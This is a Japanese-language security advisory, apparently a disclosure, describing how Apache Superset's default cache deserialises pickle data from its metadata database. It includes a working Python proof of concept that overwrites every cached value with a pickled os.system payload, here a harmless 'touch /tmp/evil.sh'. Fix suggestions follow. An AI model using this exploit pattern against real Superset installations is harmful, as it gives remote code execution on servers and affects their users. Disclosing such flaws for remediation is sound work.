
pickleを使用してsupersetのデフォルトキャッシュを悪用する
[ 著者 ] Dinis Cruz
[ プロジェクト ] Superset
Apache Supersetはキャッシュのためのさまざまなオプションを提供しており、そのすべてはFlask-Cachingに基づいています。組み込みキャッシュが提供されており、値をシリアライズして後で取得できるようにします。このシリアライゼーションと取得はPickleを使用して行われ、Pythonオブジェクトのデシリアライゼーションを可能にし、その結果コードの実行が可能になります。
組み込みキャッシュはメタデータデータベース内に情報を書き込むため、このデータベースにアクセスできる攻撃者は自分の権限を昇格させ、Supersetを提供するマシン/コンテナへのリモートアクセスを得ることができます。
MetaStoreCache クラス。これは情報のシリアライゼーションに PickleKeyValueCodec クラスを使用します。
この問題は、まずデフォルトで組み込みキャッシュを使用するクリーンなSupersetインストールを作成することで再現されました。
この問題を悪用するにはデータベースへのアクセスが必要であるという既知の知識をもとに、pickleエクスプロイトを使用してすべてのキャッシュされた値を更新できます。その後、値がユーザーに提供されると、pickleモジュールがデータをデシリアライズしてコードを実行します。PythonのPoCを以下に示します。
import os
import psycopg2
import pickle5 as pickle
class RCE:
def __reduce__(self):
cmd = ('touch /tmp/evil.sh')
return os.system, (cmd,)
def exploit():
pickled = pickle.dumps(RCE())
con = psycopg2.connect(
database="superset",
user="superset",
password="superset",
host="localhost",
port= '5432'
)
cursor = con.cursor()
cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
con.commit()
if __name__ == '__main__':
exploit()
このスクリプトはデータベース内にキャッシュされたすべての値を更新し、データがユーザーに提供されると、デモンストレーション用に /tmp ディレクトリ内に evil.sh ファイルが作成されます。
すべてのユーザーが影響を受ける可能性があります。
スコア: 9.1
修正はSupersetチームに委ねられています。大きな問題は、データシリアライゼーションにpickleを使用していることにあります。私の理解では、コミット #23888 から、他のコンポーネントからはpickleシリアライゼーションを削除する方向にシフトしましたが、このコンポーネントでは「任意のバイナリタイプを処理する」必要があるために保持されました。最もクリーンな解決策は別のシリアライゼーションメカニズムに切り替えることですが、制限付きのunpicklerを実装することもでき、確実な解決策ではありませんが、実装に必要な作業が少なくて済む可能性があります。
Supersetインストールで使用されているメタデータデータベースへのアクセス。
特別なセットアップは必要なく、ペイロードを生成するためのPythonインタプリタのみが必要です。悪意のあるペイロードをデータベースに導入する方法はさまざまです。